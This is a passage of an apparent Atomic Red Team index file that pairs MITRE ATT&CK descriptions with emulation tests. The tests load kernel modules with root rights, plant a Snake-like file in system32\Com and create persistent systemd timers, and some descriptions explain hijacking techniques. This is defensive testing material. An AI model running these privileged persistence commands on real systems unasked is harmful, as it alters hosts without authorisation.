Extensions. However, kexts are still allowed as "Legacy System Extensions" since there is no System Extension for Kernel Programming Interfaces.(Citation: Apple Kernel Extension Deprecation) Adversaries can use LKMs and kexts to conduct [Persistence](https://attack.mitre.org/tactics/TA0003) and/or [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) on a system. Examples have been found in the wild, and there are some relevant open source projects as well.(Citation: Volatility Phalanx2)(Citation: CrowdStrike Linux Rootkit)(Citation: GitHub Reptile)(Citation: GitHub Diamorphine)(Citation: RSAC 2015 San Francisco Patrick Wardle)(Citation: Synack Secure Kernel Extension Broken)(Citation: Securelist Ventir)(Citation: Trend Micro Skidmap) modified: '2022-05-11T14:00:00.188Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: 'Boot or Logon Autostart Execution: Kernel Modules and Extensions' x_mitre_detection: | Loading, unloading, and manipulating modules on Linux systems can be detected by monitoring for the following commands: modprobe, insmod, lsmod, rmmod, or modinfo (Citation: Linux Loadable Kernel Module Insert and Remove LKMs) LKMs are typically loaded into /lib/modules and have had the extension .ko ("kernel object") since version 2.6 of the Linux kernel. (Citation: Wikipedia Loadable Kernel Module) Adversaries may run commands on the target system before loading a malicious module in order to ensure that it is properly compiled. (Citation: iDefense Rootkit Overview) Adversaries may also execute commands to identify the exact version of the running Linux kernel and/or download multiple versions of the same .ko (kernel object) files to use the one appropriate for the running system.(Citation: Trend Micro Skidmap) Many LKMs require Linux headers (specific to the target kernel) in order to compile properly. These are typically obtained through the operating systems package manager and installed like a normal package. On Ubuntu and Debian based systems this can be accomplished by running: apt-get install linux-headers-$(uname -r) On RHEL and CentOS based systems this can be accomplished by running: yum install kernel-devel-$(uname -r) On macOS, monitor for execution of kextload commands and user installed kernel extensions performing abnormal and/or potentially malicious activity (such as creating network connections). Monitor for new rows added in the kext_policy table. KextPolicy stores a list of user approved (non Apple) kernel extensions and a partial history of loaded kernel modules in a SQLite database, /var/db/SystemPolicyConfiguration/KextPolicy.(Citation: User Approved Kernel Extension Pike’s)(Citation: Purves Kextpocalypse 2)(Citation: Apple Developer Configuration Profile) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_is_subtechnique: true x_mitre_data_sources: - 'Command: Command Execution' - 'File: File Creation' - 'File: File Modification' - 'Kernel: Kernel Module Load' - 'Process: Process Creation' x_mitre_permissions_required: - root x_mitre_attack_spec_version: 2.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1547.006 atomic_tests: - name: Linux - Load Kernel Module via insmod auto_generated_guid: 687dcb93-9656-4853-9c36-9977315e9d23 description: 'This test uses the insmod command to load a kernel module for Linux. ' supported_platforms: - linux input_arguments: module_name: description: Name of the kernel module name. type: string default: T1547006 module_path: description: Folder used to store the module. type: path default: "/tmp/T1547.006/T1547006.ko" temp_folder: description: Temp folder used to compile the code. type: path default: "/tmp/T1547.006" module_source_path: description: Path to download Gsecdump binary file type: path default: PathToAtomicsFolder/T1547.006/src dependency_executor_name: bash dependencies: - description: 'The kernel module must exist on disk at specified location ' prereq_command: 'if [ -f #{module_path} ]; then exit 0; else exit 1; fi; ' get_prereq_command: | if [ ! -d #{temp_folder} ]; then mkdir #{temp_folder}; touch #{temp_folder}/safe_to_delete; fi; cp #{module_source_path}/* #{temp_folder}/ cd #{temp_folder}; make if [ ! -f #{module_path} ]; then mv #{temp_folder}/#{module_name}.ko #{module_path}; fi; executor: command: 'sudo insmod #{module_path} ' cleanup_command: | sudo rmmod #{module_name} [ -f #{temp_folder}/safe_to_delete ] && rm -rf #{temp_folder} name: bash elevation_required: true - name: MacOS - Load Kernel Module via kextload and kmutil auto_generated_guid: f4391089-d3a5-4dd1-ab22-0419527f2672 description: 'This test uses the kextload and kmutil commands to load and unload a MacOS kernel module. ' supported_platforms: - macos input_arguments: module_path: description: Folder used to store the module. type: path default: "/Library/Extensions/SoftRAID.kext" dependency_executor_name: bash dependencies: - description: 'The kernel module must exist on disk at specified location ' prereq_command: 'if [ -d #{module_path} ] ; then exit 0; else exit 1 ; fi ' get_prereq_command: 'exit 1 ' executor: command: | set -x sudo kextload #{module_path} kextstat 2>/dev/null | grep SoftRAID sudo kextunload #{module_path} sudo kmutil load -p #{module_path} kextstat 2>/dev/null | grep SoftRAID sudo kmutil unload -p #{module_path} name: bash elevation_required: true - name: MacOS - Load Kernel Module via KextManagerLoadKextWithURL() auto_generated_guid: f0007753-beb3-41ea-9948-760785e4c1e5 description: | This test uses the IOKit API to load a kernel module for macOS. Harcoded to use SoftRAID kext supported_platforms: - macos input_arguments: src_path: description: Folder used to store the module. type: path default: PathToAtomicsFolder/T1547.006/src/macos_kextload.c exe_path: description: Folder used to store the module. type: path default: "/tmp/T1547006_iokit_loader" dependency_executor_name: bash dependencies: - description: 'The kernel module must exist on disk at specified location ' prereq_command: 'if [ -f "#{exe_path}" ]; then exit 0 ; else exit 1; fi ' get_prereq_command: 'cc -o #{exe_path} #{src_path} -framework IOKit -framework Foundation ' executor: command: | sudo #{exe_path} kextstat 2>/dev/null | grep SoftRAID sudo kextunload /Library/Extensions/SoftRAID.kext name: bash elevation_required: true cleanup_command: 'rm -f #{exe_path} ' - name: Snake Malware Kernel Driver Comadmin auto_generated_guid: e5cb5564-cc7b-4050-86e8-f2d9eec1941f description: "The following Atomic Test will write an file, comadmin.dat, to disk. From the report, Snake's installer drops the kernel driver and a custom DLL which is used to load the driver into a\nsingle AES encrypted file on disk. Typically, this file is named “comadmin.dat” and is stored in the %windows%\\system32\\Com directory. \nThis Atomic Test will write a hardcoded named file to disk in the com directory named comadmin.dat.\n[Snake Malware - CISA](https://media.defense.gov/2023/May/09/2003218554/-1/-1/0/JOINT_CSA_HUNTING_RU_INTEL_SNAKE_MALWARE_20230509.PDF) \ \n" supported_platforms: - windows executor: command: '$examplePath = Join-Path $env:windir "system32\Com"; if (-not (Test-Path $examplePath)) { New-Item -ItemType Directory -Path $examplePath | Out-Null }; $exampleName = "comadmin.dat"; $exampleFullPath = Join-Path $examplePath $exampleName; $randomBytes = New-Object Byte[] 0x1000; (New-Object Random).NextBytes($randomBytes); [System.IO.File]::WriteAllBytes($exampleFullPath, $randomBytes) ' cleanup_command: '$examplePath = Join-Path $env:windir "system32\Com"; $exampleName = "comadmin.dat"; $exampleFullPath = Join-Path $examplePath $exampleName; if (Test-Path $exampleFullPath) { Remove-Item $exampleFullPath -Force } ' name: powershell elevation_required: true T1574.013: technique: x_mitre_platforms: - Windows x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--a4657bc9-d22f-47d2-a7b7-dd6ec33f3dde type: attack-pattern created: '2022-02-25T15:27:44.927Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1574.013 url: https://attack.mitre.org/techniques/T1574/013 - source_name: Lazarus APT January 2022 url: https://blog.malwarebytes.com/threat-intelligence/2022/01/north-koreas-lazarus-apt-leverages-windows-update-client-github-in-latest-campaign/ description: Saini, A. and Hossein, J. (2022, January 27). North Korea’s Lazarus APT leverages Windows Update client, GitHub in latest campaign. Retrieved January 27, 2022. - source_name: 'FinFisher exposed ' url: https://www.microsoft.com/security/blog/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/ description: 'Microsoft Defender Security Research Team. (2018, March 1). FinFisher exposed: A researcher’s tale of defeating traps, tricks, and complex virtual machines. Retrieved January 27, 2022.' - source_name: Windows Process Injection KernelCallbackTable url: https://modexp.wordpress.com/2019/05/25/windows-injection-finspy/ description: 'odzhan. (2019, May 25). Windows Process Injection: KernelCallbackTable used by FinFisher / FinSpy. Retrieved February 4, 2022.' - source_name: NtQueryInformationProcess url: https://docs.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntqueryinformationprocess description: Microsoft. (2021, November 23). NtQueryInformationProcess function (winternl.h). Retrieved February 4, 2022. modified: '2022-05-11T14:00:00.188Z' name: KernelCallbackTable description: |- Adversaries may abuse the KernelCallbackTable of a process to hijack its execution flow in order to run their own payloads.(Citation: Lazarus APT January 2022)(Citation: FinFisher exposed ) The KernelCallbackTable can be found in the Process Environment Block (PEB) and is initialized to an array of graphic functions available to a GUI process once user32.dll is loaded.(Citation: Windows Process Injection KernelCallbackTable) An adversary may hijack the execution flow of a process using the KernelCallbackTable by replacing an original callback function with a malicious payload. Modifying callback functions can be achieved in various ways involving related behaviors such as [Reflective Code Loading](https://attack.mitre.org/techniques/T1620) or [Process Injection](https://attack.mitre.org/techniques/T1055) into another process. A pointer to the memory address of the KernelCallbackTable can be obtained by locating the PEB (ex: via a call to the NtQueryInformationProcess() [Native API](https://attack.mitre.org/techniques/T1106) function).(Citation: NtQueryInformationProcess) Once the pointer is located, the KernelCallbackTable can be duplicated, and a function in the table (e.g., fnCOPYDATA) set to the address of a malicious payload (ex: via WriteProcessMemory()). The PEB is then updated with the new address of the table. Once the tampered function is invoked, the malicious payload will be triggered.(Citation: Lazarus APT January 2022) The tampered function is typically invoked using a Windows message. After the process is hijacked and malicious code is executed, the KernelCallbackTable may also be restored to its original state by the rest of the malicious payload.(Citation: Lazarus APT January 2022) Use of the KernelCallbackTable to hijack execution flow may evade detection from security products since the execution can be masked under a legitimate process. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_detection: |- Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious behaviors that could relate to post-compromise behavior. Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances. for known bad sequence of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as WriteProcessMemory() and NtQueryInformationProcess() with the parameter set to ProcessBasicInformation may be used for this technique.(Citation: Lazarus APT January 2022) x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Process: OS API Execution' spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1053.006: technique: modified: '2023-09-08T11:56:26.862Z' name: 'Scheduled Task/Job: Systemd Timers' description: |- Adversaries may abuse systemd timers to perform task scheduling for initial or recurring execution of malicious code. Systemd timers are unit files with file extension .timer that control services. Timers can be set to run on a calendar event or after a time span relative to a starting point. They can be used as an alternative to [Cron](https://attack.mitre.org/techniques/T1053/003) in Linux environments.(Citation: archlinux Systemd Timers Aug 2020) Systemd timers may be activated remotely via the systemctl command line utility, which operates over [SSH](https://attack.mitre.org/techniques/T1021/004).(Citation: Systemd Remote Control) Each .timer file must have a corresponding .service file with the same name, e.g., example.timer and example.service. .service files are [Systemd Service](https://attack.mitre.org/techniques/T1543/002) unit files that are managed by the systemd system and service manager.(Citation: Linux man-pages: systemd January 2014) Privileged timers are written to /etc/systemd/system/ and /usr/lib/systemd/system while user level are written to ~/.config/systemd/user/. An adversary may use systemd timers to execute malicious code at system startup or on a scheduled basis for persistence.(Citation: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018)(Citation: gist Arch package compromise 10JUL2018)(Citation: acroread package compromised Arch Linux Mail 8JUL2018) Timers installed using privileged paths may be used to maintain root level persistence. Adversaries may also install user level timers to achieve user level persistence.(Citation: Falcon Sandbox smp: 28553b3a9d) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: execution - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_contributors: - SarathKumar Rajendran, Trimble Inc x_mitre_deprecated: false x_mitre_detection: |- Systemd timer unit files may be detected by auditing file creation and modification events within the /etc/systemd/system, /usr/lib/systemd/system/, and ~/.config/systemd/user/ directories, as well as associated symbolic links. Suspicious processes or scripts spawned in this manner will have a parent process of ‘systemd’, a parent process ID of 1, and will usually execute as the ‘root’ user. Suspicious systemd timers can also be identified by comparing results against a trusted system baseline. Malicious systemd timers may be detected by using the systemctl utility to examine system wide timers: systemctl list-timers –all. Analyze the contents of corresponding .service files present on the file system and ensure that they refer to legitimate, expected executables. Audit the execution and command-line arguments of the 'systemd-run' utility as it may be used to create timers.(Citation: archlinux Systemd Timers Aug 2020) x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Linux x_mitre_version: '1.2' x_mitre_data_sources: - 'File: File Modification' - 'Process: Process Creation' - 'Command: Command Execution' - 'Scheduled Job: Scheduled Job Creation' x_mitre_permissions_required: - User - root x_mitre_remote_support: true type: attack-pattern id: attack-pattern--a542bac9-7bc1-4da7-9a09-96f69e23cc21 created: '2020-10-12T17:50:31.584Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1053/006 external_id: T1053.006 - source_name: Systemd Remote Control description: Aaron Kili. (2018, January 16). How to Control Systemd Services on Remote Linux Server. Retrieved July 26, 2021. url: https://www.tecmint.com/control-systemd-services-on-remote-linux-server/ - source_name: archlinux Systemd Timers Aug 2020 description: archlinux. (2020, August 11). systemd/Timers. Retrieved October 12, 2020. url: https://wiki.archlinux.org/index.php/Systemd/Timers - source_name: gist Arch package compromise 10JUL2018 description: Catalin Cimpanu. (2018, July 10). ~x file downloaded in public Arch package compromise. Retrieved April 23, 2019. url: https://gist.github.com/campuscodi/74d0d2e35d8fd9499c76333ce027345a - source_name: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018 description: Catalin Cimpanu. (2018, July 10). Malware Found in Arch Linux AUR Package Repository. Retrieved April 23, 2019. url: https://www.bleepingcomputer.com/news/security/malware-found-in-arch-linux-aur-package-repository/ - source_name: acroread package compromised Arch Linux Mail 8JUL2018 description: Eli Schwartz. (2018, June 8). acroread package compromised. Retrieved April 23, 2019. url: https://lists.archlinux.org/pipermail/aur-general/2018-July/034153.html - source_name: 'Falcon Sandbox smp: 28553b3a9d' description: Hybrid Analysis. (2018, July 11). HybridAnalsysis of sample 28553b3a9d2ad4361d33d29ac4bf771d008e0073cec01b5561c6348a608f8dd7. Retrieved September 8, 2023. url: https://www.hybrid-analysis.com/sample/28553b3a9d2ad4361d33d29ac4bf771d008e0073cec01b5561c6348a608f8dd7?environmentId=300 - source_name: 'Linux man-pages: systemd January 2014' description: Linux man-pages. (2014, January). systemd(1) - Linux manual page. Retrieved April 23, 2019. url: http://man7.org/linux/man-pages/man1/systemd.1.html object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1053.006 atomic_tests: - name: Create Systemd Service and Timer auto_generated_guid: f4983098-bb13-44fb-9b2c-46149961807b description: "This test creates Systemd service and timer then starts and enables the Systemd timer \n" supported_platforms: - linux input_arguments: path_to_systemd_service: description: Path to systemd service unit file type: path default: "/etc/systemd/system/art-timer.service" path_to_systemd_timer: description: Path to service timer file type: path default: "/etc/systemd/system/art-timer.timer" systemd_service_name: description: Name of systemd service type: string default: art-timer.service systemd_timer_name: description: Name of systemd service timer type: string default: art-timer.timer executor: command: | echo "[Unit]" > #{path_to_systemd_service} echo "Description=Atomic Red Team Systemd Timer Service" >> #{path_to_systemd_service} echo "[Service]" >> #{path_to_systemd_service} echo "Type=simple" >> #{path_to_systemd_service} echo "ExecStart=/bin/touch /tmp/art-systemd-timer-marker" >> #{path_to_systemd_service} echo "[Install]" >> #{path_to_systemd_service} echo "WantedBy=multi-user.target" >> #{path_to_systemd_service} echo "[Unit]" > #{path_to_systemd_timer} echo "Description=Executes Atomic Red Team Systemd Timer Service" >> #{path_to_systemd_timer} echo "Requires=#{systemd_service_name}" >> #{path_to_systemd_timer} echo "[Timer]" >> #{path_to_systemd_timer} echo "Unit=#{systemd_service_name}" >> #{path_to_systemd_timer} echo "OnCalendar=*-*-* *:*:00" >> #{path_to_systemd_timer} echo "[Install]" >> #{path_to_systemd_timer} echo "WantedBy=timers.target" >> #{path_to_systemd_timer} systemctl start #{systemd_timer_name} systemctl enable #{systemd_timer_name} systemctl daemon-reload cleanup_command: | systemctl stop #{systemd_timer_name} systemctl disable #{systemd_timer_name} rm #{path_to_systemd_service} rm #{path_to_systemd_timer} systemctl daemon-reload name: bash - name: Create a user level transient systemd service and timer auto_generated_guid: 3de33f5b-62e5-4e63-a2a0-6fd8808c80ec description: "Schedule a user level transient task (will not survive a reboot) without having to create the .timer or .service files by using the systemd-run command. \n" supported_platforms: - linux dependency_executor_name: sh dependencies: - description: 'Check if systemd-run exists on the machine ' prereq_command: 'if [ -x "$(command -v systemd-run)" ]; then exit 0; else exit 1; fi; ' get_prereq_command: 'echo "Install systemd on the machine."; exit 1; ' executor: elevation_required: false command: 'systemd-run --user --unit=Atomic-Red-Team --on-calendar ''*:0/1'' /bin/sh -c ''echo "$(date) $(whoami)" >>/tmp/log'' ' cleanup_command: | systemctl --user stop Atomic-Red-Team.service systemctl --user stop Atomic-Red-Team.timer rm /tmp/log name: sh - name: Create a system level transient systemd service and timer auto_generated_guid: d3eda496-1fc0-49e9-aff5-3bec5da9fa22 description: "Schedule a system level transient task (will not survive a reboot) without having to create the .timer or .service files by using the systemd-run command. \n" supported_platforms: - linux dependency_executor_name: sh dependencies: - description: 'Check if systemd-run exists on the machine ' prereq_command: 'if [ -x "$(command -v systemd-run)" ]; then exit 0; else exit 1; fi; ' get_prereq_command: 'echo "Install systemd on the machine."; exit 1; ' executor: elevation_required: true command: 'systemd-run --unit=Atomic-Red-Team --on-calendar ''*:0/1'' /bin/sh -c ''echo "$(date) $(whoami)" >>/tmp/log'' ' cleanup_command: | systemctl stop Atomic-Red-Team.service systemctl stop Atomic-Red-Team.timer rm /tmp/log name: sh T1574: technique: modified: '2023-11-21T20:02:33.404Z' name: Hijack Execution Flow description: |- Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs. Hijacking execution flow can be for the purposes of persistence, since this hijacked execution may reoccur over time. Adversaries may also use these mechanisms to elevate privileges or evade defenses, such as application control or other restrictions on execution. There are many ways an adversary may hijack the flow of execution, including by manipulating how the operating system locates programs to be executed. How the operating system locates libraries to be used by a program can also be intercepted. Locations where the operating system looks for programs/resources, such as file directories and in the case of Windows the Registry, could also be poisoned to include malicious payloads. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_deprecated: false x_mitre_detection: |- Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of .manifest and .local redirection files that do not correlate with software updates are suspicious. Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data. Monitor for changes to environment variables, as well as the commands to implement these changes. Monitor processes for unusual activity (e.g., a process that does not use the network begins to do so, abnormal process call trees). Track library metadata, such as a hash, and compare libraries that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates. Service changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: Autoruns for Windows) Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Linux - macOS - Windows x_mitre_version: '1.2' x_mitre_data_sources: - 'Windows Registry: Windows Registry Key Modification' - 'File: File Creation' - 'Module: Module Load' - 'Process: Process Creation' - 'Service: Service Metadata' - 'File: File Modification' - 'Command: Command Execution' x_mitre_defense_bypassed: - Anti-virus - Application Control type: attack-pattern id: attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6 created: '2020-03-12T20:38:12.465Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1574 external_id: T1574 - source_name: Autoruns for Windows description: Mark Russinovich. (2019, June 28). Autoruns for Windows v13.96. Retrieved March 13, 2020. url: https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1543.005: technique: modified: '2024-04-16T12:35:38.832Z' name: Container Service description: |- Adversaries may create or modify container or container cluster management tools that run as daemons, agents, or services on individual hosts. These include software for creating and managing individual containers, such as Docker and Podman, as well as container cluster node-level agents such as kubelet. By modifying these services, an adversary may be able to achieve persistence or escalate their privileges on a host. For example, by using the `docker run` or `podman run` command with the `restart=always` directive, a container can be configured to persistently restart on the host.(Citation: AquaSec TeamTNT 2023) A user with access to the (rootful) docker command may also be able to escalate their privileges on the host.(Citation: GTFOBins Docker) In Kubernetes environments, DaemonSets allow an adversary to persistently [Deploy Container](https://attack.mitre.org/techniques/T1610)s on all nodes, including ones added later to the cluster.(Citation: Aquasec Kubernetes Attack 2023)(Citation: Kubernetes DaemonSet) Pods can also be deployed to specific nodes using the `nodeSelector` or `nodeName` fields in the pod spec.(Citation: Kubernetes Assigning Pods to Nodes)(Citation: AppSecco Kubernetes Namespace Breakout 2020) Note that containers can also be configured to run as [Systemd Service](https://attack.mitre.org/techniques/T1543/002)s.(Citation: Podman Systemd)(Citation: Docker Systemd) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_deprecated: false x_mitre_detection: '' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Containers x_mitre_version: '1.0' x_mitre_data_sources: - 'Command: Command Execution' - 'Container: Container Creation' type: attack-pattern id: attack-pattern--b0e54bf7-835e-4f44-bd8e-62f431b9b76a created: '2024-02-15T13:41:46.784Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1543/005 external_id: T1543.005 - source_name: AppSecco Kubernetes Namespace Breakout 2020 description: Abhisek Datta. (2020, March 18). Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1. Retrieved January 16, 2024. url: https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216 - source_name: Docker Systemd description: Docker. (n.d.). Start containers automatically. Retrieved February 15, 2024. url: https://docs.docker.com/config/containers/start-containers-automatically/ - source_name: GTFOBins Docker description: GTFOBins. (n.d.). docker. Retrieved February 15, 2024. url: https://gtfobins.github.io/gtfobins/docker/ - source_name: Kubernetes Assigning Pods to Nodes description: Kubernetes. (n.d.). Assigning Pods to Nodes. Retrieved February 15, 2024. url: https://kubernetes.io/docs/concepts/scheduling-eviction/assign-pod-node/ - source_name: Kubernetes DaemonSet description: Kubernetes. (n.d.). DaemonSet. Retrieved February 15, 2024. url: https://kubernetes.io/docs/concepts/workloads/controllers/daemonset/ - source_name: Aquasec Kubernetes Attack 2023 description: Michael Katchinskiy, Assaf Morag. (2023, April 21). First-Ever Attack Leveraging Kubernetes RBAC to Backdoor Clusters. Retrieved July 14, 2023. url: https://blog.aquasec.com/leveraging-kubernetes-rbac-to-backdoor-clusters - source_name: AquaSec TeamTNT 2023 description: Ofek Itach and Assaf Morag. (2023, July 13). TeamTNT Reemerged with New Aggressive Cloud Campaign. Retrieved February 15, 2024. url: https://blog.aquasec.com/teamtnt-reemerged-with-new-aggressive-cloud-campaign - source_name: Podman Systemd description: Valentin Rothberg. (2022, March 16). How to run pods as systemd services with Podman. Retrieved February 15, 2024. url: https://www.redhat.com/sysadmin/podman-run-pods-systemd-services object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1078: technique: modified: '2023-05-09T14:00:00.188Z' name: Valid Accounts description: |- Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.(Citation: volexity_0day_sophos_FW) Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence. In some cases, adversaries may abuse inactive accounts: for example, those belonging to individuals who are no longer part of an organization. Using these accounts may allow the adversary to evade detection, as the original account user will not be present to identify any anomalous activity taking place on their account.(Citation: CISA MFA PrintNightmare) The overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise.(Citation: TechNet Credential Theft) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation - kill_chain_name: mitre-attack phase_name: initial-access x_mitre_attack_spec_version: 3.1.0 x_mitre_contributors: - Syed Ummar Farooqh, McAfee - Prasad Somasamudram, McAfee - Sekhar Sarukkai, McAfee - Jon Sternstein, Stern Security - Yossi Weizman, Azure Defender Research Team - Netskope - Mark Wee - Praetorian - Goldstein Menachem x_mitre_deprecated: false x_mitre_detection: |- Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access). Perform regular audits of domain and local system accounts to detect accounts that may have been created by an adversary for persistence. Checks on these accounts could also include whether default accounts such as Guest have been activated. These audits should also include checks on any appliances and applications for default credentials or SSH keys, and if any are discovered, they should be updated immediately. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_platforms: - Windows - Azure AD - Office 365 - SaaS - IaaS - Linux - macOS - Google Workspace - Containers - Network x_mitre_version: '2.6' x_mitre_data_sources: - 'Logon Session: Logon Session Creation' - 'User Account: User Account Authentication' - 'Logon Session: Logon Session Metadata' x_mitre_defense_bypassed: - Firewall - Anti-virus - Host Intrusion Prevention Systems - Network Intrusion Detection System - Application Control - System Access Controls x_mitre_effective_permissions: - User - Administrator x_mitre_permissions_required: - User - Administrator type: attack-pattern id: attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81 created: '2017-05-31T21:31:00.645Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1078 external_id: T1078 - source_name: volexity_0day_sophos_FW description: 'Adair, S., Lancaster, T., Volexity Threat Research. (2022, June 15). DriftingCloud: Zero-Day Sophos Firewall Exploitation and an Insidious Breach. Retrieved July 1, 2022.' url: https://www.volexity.com/blog/2022/06/15/driftingcloud-zero-day-sophos-firewall-exploitation-and-an-insidious-breach/ - source_name: CISA MFA PrintNightmare description: Cybersecurity and Infrastructure Security Agency. (2022, March 15). Russian State-Sponsored Cyber Actors Gain Network Access by Exploiting Default Multifactor Authentication Protocols and “PrintNightmare” Vulnerability. Retrieved March 16, 2022. url: https://www.cisa.gov/uscert/ncas/alerts/aa22-074a - source_name: TechNet Credential Theft description: Microsoft. (2016, April 15). Attractive Accounts for Credential Theft. Retrieved June 3, 2016. url: https://technet.microsoft.com/en-us/library/dn535501.aspx - source_name: TechNet Audit Policy description: Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016. url: https://technet.microsoft.com/en-us/library/dn487457.aspx object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 spec_version: '2.1' atomic_tests: [] T1055.012: technique: modified: '2023-08-11T21:37:00.009Z' name: 'Process Injection: Process Hollowing' description: "Adversaries may inject malicious code into suspended and hollowed processes in order to evade process-based defenses. Process hollowing is a method of executing arbitrary code in the address space of a separate live process. \n\nProcess hollowing is commonly performed by creating a process in a suspended state then unmapping/hollowing its memory, which can then be replaced with malicious code. A victim process can be created with native Windows API calls such as CreateProcess, which includes a flag to suspend the processes primary thread. At this point the process can be unmapped using APIs calls such as ZwUnmapViewOfSection or NtUnmapViewOfSection \ before being written to, realigned to the injected code, and resumed via VirtualAllocEx, WriteProcessMemory, SetThreadContext, then ResumeThread respectively.(Citation: Leitch Hollowing)(Citation: Elastic Process Injection July 2017)\n\nThis is very similar to [Thread Local Storage](https://attack.mitre.org/techniques/T1055/005) 